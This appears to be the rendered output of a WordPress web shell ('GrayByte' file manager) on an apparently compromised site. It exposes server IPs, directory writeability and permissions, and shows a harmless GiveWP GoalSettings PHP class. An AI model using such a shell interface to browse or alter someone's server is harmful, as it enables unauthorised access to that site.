$21 GRAYBYTE WORDPRESS FILE MANAGER $15

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/itiministry.org/plugins/give/src/DonationForms/Properties/

HOME
Current File : /home/bravetechrwanda/itiministry.org/plugins/give/src/DonationForms/Properties//GoalSettings.php
<?php

namespace Give\DonationForms\Properties;

use Give\DonationForms\ValueObjects\GoalType;

/**
 * @since 4.5.0 Add default values to goal settings
 * @since 4.3.0
 */
class GoalSettings
{
    public string $goalSource;
    public float $goalAmount;
    public GoalType $goalType;
    public bool $enableDonationGoal;

    public static function fromArray(array $data): GoalSettings
    {
        $settings = new self();
        $settings->goalSource = $data['goalSource'] ?? '';
        $settings->enableDonationGoal = $data['enableDonationGoal'] ?? false;
        $settings->goalType = new GoalType($data['goalType'] ?? GoalType::AMOUNT);
        $settings->goalAmount = $data['goalAmount'] ?? 0;

        return $settings;
    }
}

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
FormSettings.php
11.813 KB
11 Mar 2026 10.43 PM
bravetechrwanda / bravetechrwanda
0644
GoalSettings.php
0.721 KB
9 Jul 2025 5.09 PM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF